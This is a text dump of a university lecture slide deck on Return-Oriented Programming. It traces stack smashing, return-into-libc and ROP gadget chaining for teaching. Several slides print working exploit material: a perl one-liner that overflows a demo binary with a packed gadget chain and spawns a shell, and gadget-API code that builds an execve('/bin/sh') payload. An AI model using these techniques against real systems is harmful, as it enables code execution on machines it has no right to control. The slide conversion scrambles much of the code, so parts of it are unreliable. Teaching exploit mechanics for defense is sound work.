Download presentation
Presentation is loading. Please wait.
1
Return Oriented Programming
Dr. Jason R. Lewis Assistant Professor of Computer & Computational Science University of the Virgin Islands
2
Disclaimers Any products mentioned are for illustrative purposes and does not constitute an endorsement; I have no financial interest n any of the firms. I have “stolen” a lot of content from the following sources: Wikipedia, “Smashing The Stack For Fun And Profit” by Aleph One, and “The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)” by Hovav Shacham “Return-oriented Programming: Exploitation without Code Injection” by Erik Buchanan, et al.
3
Introduction Return-Oriented Programming (ROP): a security exploit that has been around for a long time. Used to execute code when security measures such as non-executable memory or code signing are employed. Used to hijack the program control-flow in order to execute “gadgets”.
4
Brief History of Memory Corruption
Morris Worm (November 1988) Exploited a stack buffer overflow in BSD on VAX. Payload issued execve(“/bin/sh”,o,o) system call directly. Thomas Lopatic publishes remote stack buffer overflow exploit against NCSA HTTPD for HP-PA (February 1995). “Smashing the Stack for Fun and Profit” by Aleph One published in Phrack49 (August 1996). Researchers find an exploit stack buffer overflows in a variety of Unix software throughout the late 90’s. Many security experts thought (incorrectly) that stack buffer overflows were the only exploitable problem.
5
“JPEG COM Marker Processing Vulnerability in Netscape Browsers” by Solar Designer (July 2000).
Demonstrates exploitation of heap buffer overflows by overwriting heap free block next/previous linked list pointers. Apache/IIS Chunked-Encoding Vulnerabilities demonstrate exploitation of integer overflow vulnerabilities. Integer overflow => stack of heap memory corruption. In early 2000’s worm authors took published exploits and unleashed worms that caused widespread damage. Exploited stack buffer overflow vulnerabilities in Microsoft operating systems. Results in Bill Gates’ “Trustworthy Computing” memo. Microsoft’s Secure Development Lifecycle (SDL) combines secure coding, auditing, and exploit mitigation.
6
Exploit Mitigation Patching every security vulnerability and writing 100% bug-free code is impossible. Exploit mitigations acknowledge this and attempt to make exploitation of remaining vulnerabilities impossible or at least more difficult. Windows XP SP2 was the first widespread OS to incorporate exploit mitigations. Protected stack metadata. Protected heap metadata. SafeSEH (compile-time exception handler registration). Software, Hardware-enforced Data Execution Prevention (DEP). Windows Vista implements Address Space Layout Randomization (ASLR). Invented by and first implemented by PaX project for Linux.
7
Stack Smashing ROP is an extension of (advanced version of) “Stack Smashing”. Stack Smashing is an idea that came out of “Alpha One’s” ground breaking paper: Smashing The Stack For Fun And Profit In order to understand ROP, we must have a good foundation in Stack Smashing.
8
Processes and Memory Organization
How are Processes Organized Graphical Representation of an Process (Object) File Each process is divided into three regions: Text, Data, and Stack. Text region: Fixed by the program. Includes code (instructions) and read-only data. Corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. Data region: Its size can be changed. Contains initialized and uninitialized data. Static variables. RAM lower memory address Text Data higher memory address Stack
9
What is a Stack? Abstract data type. Properties: Operations: LIFO.
All entries are of the same type. Operations: POP PUSH
10
Why Do We Use A Stack? Modern computers are designed with the need of high-level languages in mind. The function (procedure call) is one of the most important features of high-level languages. Function call alter the control flow. When finished, a function returns control to the statement or instruction following the call. Implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.
11
The Stack Contiguous block of memory
Stack pointer (SP): A register that holds the address of the top of the stack. The bottom of the stack is at a fixed address. Stack size dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack.
12
Stack contains logical stack frames (SF):
SF is pushed onto stack when a function is called, SF is popped off of stack when function returns to caller. A stack frame contains the function’s: Parameters, Local variables, and Data that is necessary to recover the previous stack frame, including the value of the instruction pointer (IP) at the time of the function call.
13
Stack grows either grow down (towards lower memory addresses), or up.
We'll use a stack that grows down. Why? The way it works on Intel, Motorola, SPARC and MIPS processors. Stack pointer (SP) is implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack.
14
Recall, SP points to the top of the stack (lowest numerical address).
SP = smallest address x such that any address smaller than x is considered garbage, and any address greater than or equal to x is considered valid. Ideally, local variables should as an offsets from the SP. This has many problems: As frames are pushed onto the stack and popped from the stack, these offsets change. Some cases compiler can keep correct the offsets. Considerable administration is required for this correction. Some machines (Intel-based processors) accessing a variable at a known distance from SP requires multiple instructions. We also have a second register that holds the address of a fixed location within the a frame. It is called the. Solution: a second register called a Frame Pointer (FP): Used to reference both local variables and parameters. A variable’s distances from FP does not change with PUSHes and POPs.
15
How does the Stack Work wrt a Function Call
Push the function parameters/arguments unto the stack. Push the current IP to the stack (the point in code that you are “jumping” from), labeled as RET. Function Prolog: Push the current FP (EBP) onto the stack. Copy the current SP into the new FP (so it can be restored at procedure exit) using a register EBP, Advances SP to reserve space for the local variables. Function Epilog: Restore the saved FP and SP, and then start executing on after the call.
16
Example Source Code Stack void DrawSquare(double length) { int num1;
drawLine(length); return(); } void DrawLine(double length) Top of Stack 0x00 0x04 0x08 0x0c 0x14 SP = 0x14 Local Variables num1 0x18 num2 0x1c FP = 0x1c SFP something 0x20 RET IP 0x24 Parameter length 0x2c Bottom of Stack
17
Source Code Stack void DrawSquare(double length) { int num1; int num2;
drawLine(length); return(); } void DrawLine(double length) Top of Stack 0x00 SP = 0x00 Loc. Var. num1 0x04 SFP 0x1c 0x08 RET Line 6 of Text 0x0c Parameter length 0x14 FP = 0x14 Draw-Square’s Frame Record 0x18 num2 something 0x20 inMain 0x24 0x2c Bottom of Stack
18
Review of Arrays What does: int num[15]; do?
What am I doing by going: num[5] = 35; Will this run? num[35] = 2; Do arrays have bounds checking?
19
Review of Strings What is a String, in its most basic terms?
What is a c-String? What is: char str[15]; How many valid characters can my string str hold? What is: char * str;
20
Where Does the Code Start?
Source Code void function (int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() function(1,2,3); return(0);
21
What Does the Stack Look Like After Main?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 0x28 0x2c Bottom of Stack I’m Here
22
What Does the Stack Look Like After Main?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 SP=FP=x24 SFP 0x2c 0x28 RET NULL Bottom of Stack I’m Here
23
What Happens When I Move to Line 9?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 0x24 SP=FP=x24 SFP 0x2c 0x28 RET NULL Bottom of Stack I’m Here
24
Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c 0x20 Parameter 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here
25
Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 0x1c Parameter 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here
26
Push the Arguments Source Code Stack I’m Here void function (int a,
int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 0x18 Parameter 1 0x1c 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here
27
Save the Return Address
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f 0x14 RET Line 10 of TEXT 0x18 Parameter 1 0x1c 2 0x20 3 0x24 SP=FP=x24 main 0x2c 0x28 NULL Bottom of Stack I’m Here
28
Copy Current SP to FP, then Move the SP
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here
29
Copy Current SP to FP, then Move the SP
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here
30
Create Local Variables, How Much Space?
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 0x0c 0x0f SP = 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here
31
Create Local Variables
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 0x04 0x08 SP = 0x08 Local Variables buffer1 0x0c 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here
32
Create Local Variables
Source Code Stack void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); Top of Stack 0x00 SP = 0x00 Local Variables buffer2 0x04 0x08 buffer1 0x0c 0x0f SFP 0x24 0x14 RET Line 10 of TEXT 0x18 FP = 0x1c Parameter 1 0x1c 2 0x20 3 main 0x2c 0x28 NULL Bottom of Stack I’m Here
33
Source Code to Assembly
Assembly Instructions void function (int a, int b, int c) { char buffer1[5]; char buffer2[5]; } void main() function(1,2,3); return(0); gcc -S -o example1.s example1.cpp line 9 is converted to: pushl $3 pushl $2 pushl $1 call function Function Prolog pushl %ebp movl %esp, %ebp subl $16, %esp Enter the function (line 3) I’m Here
34
Now What? So, what is the point of all of this?
What happens when I tie the knowledge of how the stack works with the knowledge of how arrays work? This is the classic buffer-overflow attack!
35
How is This Technique Useful?
Source Code Stack void function(char *str) { char buffer[16]; strcpy(buffer,str); } int main() char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); return 0; Top of Stack 0x00 SP = 0x00 0x2DC SP = 0x2DC Loc. Var. buffer[16] 0x2EC FP = 0x2EC SFP 0x3F8 0x2F0 RET Line 12 of TEXT 0x2F4 Main i [4B] 0x2F8 large_string[256] 0x2c 0x3FC NULL 0x400 Bottom of Stack
36
What about Modifying the Return Address
Source Code Stack – main to line 12 void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP FP x 32 28 24 20 16 12 8 4 TS I’m Here
37
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS I’m Here
38
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer[5] I’m Here
39
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] I’m Here
40
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here
41
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 x 32 28 24 20 16 12 8 4 TS FP SP 24+12 Buffer1[5] Buffer2[10] ret I’m Here
42
Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here
43
Where Do I Go? Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here
44
What Did I Just Do???? Source Code Stack – main to line 12 I’m Here
void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 10; } int main() int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); return 0; BS 64 60 56 52 48 44 40 36 RET SFP Parameter NUL 3 2 1 L14 66 x 32 28 24 20 16 12 8 4 TS FP SP Buffer1[5] Buffer2[10] ret I’m Here
45
Classic “Shell Code” Attack
How can we get the system to run our code? How about placing our “bad” code in the stack earlier on, then overwriting the return address to execute this “bad” code? Now we can get the host system to execute “bad” code just by taking overwriting the stack
46
How to Defend Against This Attack?
What are we doing with this attack? We are executing code that is in writable memory. Where is the executable code supposed to be? Industry response to code injection exploits: Marks all writeable locations in a process’ address space as nonexecutable. Deployment: Linux (via PaX patches); OpenBSD; Windows (since XP SP2); OS X (since 10.5). Hardware support: Intel “XD” bit, AMD “NX” bit (and many RISC processors). This is the W^X (Write XOR eXecute)
47
With Every New Security Feature …
As we progress with new security features, the hackers are finding “work arounds”. What if there was a way to do the same attack, but not have to “bring” our own functions to the party? Where can I find a large library of useful functions that I can exploit? This is the Return-into-libc Attack
48
Return-into-libc What is libc?
libc is the C library; basically, it contains all of the system functions that most (if not all) programs need to run on Linux. Divert control flow of exploited program into libc code system(), printf(), … No code injection required Perception of return-into-libc: limited, easy to defeat Attacker cannot execute arbitrary code Attacker relies on contents of libc – remove system()? This perception is false.
49
Return-to-libc: An attack against non-executable memory segments (DEP, W^X, etc). Instead of overwriting return address to return into shellcode, return into a loaded library to simulate a function call. Data from attacker’s controlled buffer stack are used as the function’s arguments. Example: system(cmd);
50
Return Chaining Stack unwinds upward.
Can be used to call multiple functions in succession. First function must return into code to advance stack pointer over function arguments. i.e. pop-pop-ret Assuming cdecl and 2 arguments. Argument 2 Argument 1 &(pop-pop-ret) Function 2 Function 1 Stack Growth
51
0043a82f: Argument 2 Argument 1 &(pop-pop-ret) ret Function 2 …
0x780da4dc Stack Growth
52
780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebp Function 2
mov ebp, esp sub esp, 0x100 … mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 saved ebp Stack Growth
53
780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebp Function 2
mov ebp, esp sub esp, 0x100 … mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth
54
780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebd Function 2
mov ebp, esp sub esp, 0x100 … mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth
55
780da4dc: Argument 2 Argument 1 &(pop-pop-ret) push ebd Function 2
mov ebp, esp sub esp, 0x100 … mov eax, [ebp+8] ... leave ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth
56
6842e84f: Argument 2 Argument 1 &(pop-pop-ret) pop edi Function 2
pop ebp ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth
57
6842e84f: Argument 2 Argument 1 &(pop-pop-ret) pop edi Function 2
pop ebp ret Argument 2 Argument 1 &(pop-pop-ret) Function 2 ebp Stack Growth
58
XP SP3, Vista SP1, and Windows 7 responded with “Permanent DEP”
Return-to-libc and return chaining are enough to disable DEP on XP SP2 and Vista. NtSetInformationPrecess(-1,34,&2,4) WriteProcessMemory() Self-Patch Technique XP SP3, Vista SP1, and Windows 7 responded with “Permanent DEP” SetProcessDEPPolicy(PROCESS_DEP_ENABLE) This required attackers to “up their game”
59
Return-oriented Programming
Instead of returning to functions, return to instruction sequences followed by a return instruction. Can return into the middle of existing instructions to simulate different instructions. All we need are useable byte sequences anywhere in executable memory pages.
60
Some words will be suffixes of other words:
“Intel x86 code is like English written without punctuation or spaces, so that the words all run together.” What does this imply? Processor knows where to start reading, and thus it able to recover the individual words and make out the sentence. But we can make out more words on the page than were intentionally placed there. How? Some words will be suffixes of other words: “dress” is a suffix of “address”. Others will consist of the end of one word and the beginning of the next: “head” can be found in “the address”
61
Gadgets!!! Various instruction sequences can be combined to form gadgets. Gadgets perform higher-level actions: Write specific 32-bit value to specific memory location. Add/sub/and/or/xor value at memory location with immediate value. Call function in shared library.
62
Example Gadget pop eax ret + pop ecx ret + mov [ecx], eax, ret = STORE IMMEDIATE VALUE
63
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
64
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
65
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
66
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
67
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
68
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
69
Return-Oriented Write4 Gadget
684a0f4e: pop eax ret 684a2367: pop ecx 684a123a: mov [ecx], eax 0x684a123a 0xfeedface 0x684a2367 0xdeadbeef 0x684a0f4e Stack Growth
70
The Return-oriented programming thesis: return-into-libc special case
attacker control of stack arbitrary attacker computation and behavior via return-into-libc techniques (given any sufficiently large codebase to draw on)
71
Gives Turing-complete exploit language
exploits aren’t straight-line limited Calls no functions at all can’t be defanged by removing functions like system() On the x86, uses “found” insn sequences, not code intentionally placed in libc difficult to defeat with compiler/assembler changes
72
Return-oriented programming
… again: mov i(s), ch cmp ch, ‘|’ jeq pipe … connect back to attacker while socket not eof read line fork, exec named progs … decr i jnz again … stack: libc: load decr ? jnz cmp ? jeq
73
Mounting the Attack Need control of memory around %esp Rewrite stack:
Buffer overflow on stack Format string vuln to rewrite stack contents Move stack: Overwrite saved frame pointer on stack; on leave/ret, move %esp to area under attacker control Overflow function pointer to a register spring for %esp: set or modify %esp from an attacker-controlled register then return
74
Ordinary programming: the machine level
Instruction pointer (%eip) determines which instruction to fetch & execute Once processor has executed the instruction, it automatically increments %eip to next instruction Control flow by changing value of %eip insn IP
75
Return-oriented programming: the machine level
insns … ret insns … ret C library insns … ret insns … ret insns … ret stack pointer Stack pointer (%esp) determines which instruction sequence to fetch & execute Processor doesn’t automatically increment %esp; — but the “ret” at end of each instruction sequence does
76
No-ops C library No-op instruction does nothing but advance %eip
ret nop nop nop instruction pointer stack pointer No-op instruction does nothing but advance %eip Return-oriented equivalent: point to return instruction advances %esp Useful in nop sled
77
Instructions can encode constants Return-oriented equivalent:
pop %ebx; ret mov $0xdeadbeef, %eax (bb ef be ad de) 0xdeadbeef instruction pointer stack pointer Instructions can encode constants Return-oriented equivalent: Store on the stack; Pop into register to use
78
Control flow Ordinary programming: Return-oriented equivalent:
pop %esp; ret jmp +4 instruction pointer stack pointer Ordinary programming: (Conditionally) set %eip to new value Return-oriented equivalent: (Conditionally) set %esp to new value
79
Gadgets: multiple instruction sequences
mov (%eax), %ebx; ret pop %eax; ret (word to load) stack pointer Sometimes more than one instruction sequence needed to encode logical unit Example: load from memory into register: Load address of source word into %eax Load memory at (%eax) into %ebx
80
Finding instruction sequences
Any instruction sequence ending in “ret” is useful – could be part of a gadget Algorithmic problem: recover all sequences of valid instructions from libc that end in a “ret” insn Idea: at each ret (c3 byte) look back: are preceding i bytes a valid length-i insn? recurse from found instructions Collect instruction sequences in a trie
81
Gadget operations implemented
Memory v1 = &v2 v1 = *v2 *v1 = v2 Assignment v1 = Value v1 = v2 Function Calls call Function System Calls call syscall with arguments Math v1++ v1-- v1 = -v2 v1 = v2 + v3 v1 = v2 - v3 Logic v1 = v2 & v3 v1 = v2 | v3 v1 = ~v2 v1 = v2 << v3 v1 = v2 >> v3 Control Flow BA: jump T1 BE: if (v1 == v2): jump T1, else T2 BLE: if (v1 <= v2): jump T1, else T2 BGE: if (v1 >= v2): jump T1, else T2
82
Gadget: Addition v1 = v2 + v3 Inst. Seq. Preset Assembly %l7 = &%i0
ld [%i0], %l6 m[&%i0] v2 %i0 (+2 Frames ) &v2 st %l6, [%l7] ret restore &%i3 m[&%i3] v3 (+1 Frame ) &v3 v2 (stored ) add %i0, %i3, %i5 v1 = v2 + %i3 %i4 v3 (stored ) &v1 st %i5, [%i4] ret
83
Gadget: Branch Equal if (v1 == v2): else: jump T1 jump T2 Inst. Seq.
Preset Assembly m[&%i0] = v1 %l7 %i0 = &%i0 (+2 Frames ) &v1 ld [%i0], %l6 st %l6, [%l7] ret restore m[&%i2] = v2 &%i2 (+1 Frame ) &v2 (v1 == v2) %i2 v1 (stored ) v2 (stored ) cmp %i0, %i2 ret if (v1 == v2): T2 (NOT EQ) be,a 1 ahead %i0 = T1 %l0 T1 (EQ) - 1 sub %l0,%l2,%i0 else: %l2 -1 %i0 = T2 m[&%i6] = %o0 %i3 &%i6 (+1 Frame ) st %o0, [%i3] ret restore jump T1 or T2 %i6 T1 or T2 (stored ) if (v1 == v2): jump T1 else: jump T2
84
Option 1: Write your own Hand-coded gadget layout
/sh\0 /bin linux-x86% ./target `perl -e ‘print “A”x68, pack("c*”, 0x3e,0x78,0x03,0x03,0x07, 0x7f,0x02,0x03,0x0b,0x0b, 0x0b,0x0b,0x18,0xff,0xff, 0x4f,0x30,0x7f,0x02,0x03, 0x4f,0x37,0x05,0x03,0xbd, 0xad,0x06,0x03,0x34,0xff, 0xff,0x4f,0x07,0x7f,0x02, 0x03,0x2c,0xff,0xff,0x4f, 0x30,0xff,0xff,0x4f,0x55, 0xd7,0x08,0x03,0x34,0xff, 0xff,0x4f,0xad,0xfb,0xca, 0xde,0x2f,0x62,0x69,0x6e, 0x2f,0x73,0x68,0x0)'` sh-3.1$ (word to zero) + 24 lcall %gs:0x10(,0) ret pop %ecx pop %edx ret pop %ebx ret add %ch, %al ret movl %eax, 24(%edx) ret 0x0b0b0b0b pop %ecx pop %edx ret xor %eax, %eax ret %esp
85
Option 2: Gadget API declarations */ assignments (SYS_execve = 59)*/
/* Gadget variable declarations */ = g_create_var(&prog, g_var_t g_var_t g_var_t g_var_t g_var_t g_var_t *num *arg0a *arg0b *arg0Ptr *arg1Ptr *argvPtr "num"); "arg0a"); "arg0b"); "arg0Ptr"); "arg1Ptr"); "argvPtr"); /* Gadget variable assignments (SYS_execve = 59)*/ g_assign_const(&prog, g_assign_const(&prog, g_assign_const(&prog, g_assign_addr( &prog, num, arg0a, arg0b, arg0Ptr, 59); strToBytes("/bin")); strToBytes("/sh")); arg0a); arg1Ptr, 0x0); /* Null */ g_assign_addr( &prog, /* Trap to execve */ argvPtr, arg0Ptr); g_syscall(&prog, num, arg0Ptr, argvPtr, arg1Ptr, NULL, NULL, NULL);
86
Gadget API compiler (7 gadgets, 20 sequences 336 byte overflow
Describe program to attack: char *vulnApp = "./demo-vuln"; /* Exec name of vulnerable app. /* Create and Initialize Program *************************************** */ init(&prog, (uint32_t) argv[0], vulnApp, vulnOffset, numVars, numSeqs); Compiler creates program to exploit vuln app Overflow in argv[1]; return-oriented payload in env Compiler avoids NUL bytes */ int vulnOffset numVars = 336; 50; /* Offset to /* Estimate: %i7 in Number overflowed frame. of gadget variables */ numSeqs 100; of inst. seq's (packed) (7 gadgets, 20 sequences 336 byte overflow 1280 byte payload) # ./exploit $
87
Option 3: Return-oriented compiler
Gives high-level interface to gadget API Same shellcode as before: var arg0 = "/bin/sh"; arg0Ptr &arg0; arg1Ptr 0; trap(59, &arg0, &(arg0Ptr), NULL);
88
Return-oriented selection sort — I
var i, j, tmp, len = var* min, p1, p2, a; 10; // Pointers srandom(time(0)); // Seed random() // a[10] a = malloc(40); p1 = a; printf(&("Unsorted Array:\n")); for (i = 0; i < len; ++i) { // *p1 Initialize to small random values = random() & 511; printf(&("%d, "), *p1); p1 = p1 + 4; // p1++ }
89
Return-oriented selection sort — II
p1 = a; for (i = 0; i < (len min = p1; p2 - 1); ++i) { = p1 + 4; for (j = (i + 1); j < len; ++j) { if (*p2 < *min) { p2; } p2 = p2 + 4; // min = p2++ } // Swap p1 <-> min tmp = *p1; *p1 = *min; *min // p1++ = tmp; p1 = p1 + 4; }
90
Return-oriented selection sort — III
p1 = a; printf(&("\n\nSorted Array:\n")); for (i = 0; i < len; ++i) { printf(&("%d, "), *p1); p1 = p1 + 4; // } printf(&("\n")); free(a); p1++ // Free Memory
91
Selection sort — compiler output
24 KB payload: 152 gadgets, 381 instruction sequences No code injection! # ./SelectionSort Unsorted Array: 486, 491, 37, 5, 166, 330, 103, 138, 233, 169, Sorted Array: 5, 37, 103, 138, 166, 169, 233, 330, 486, 491,
Similar presentations
© 2025 SlidePlayer.com Inc.
All rights reserved.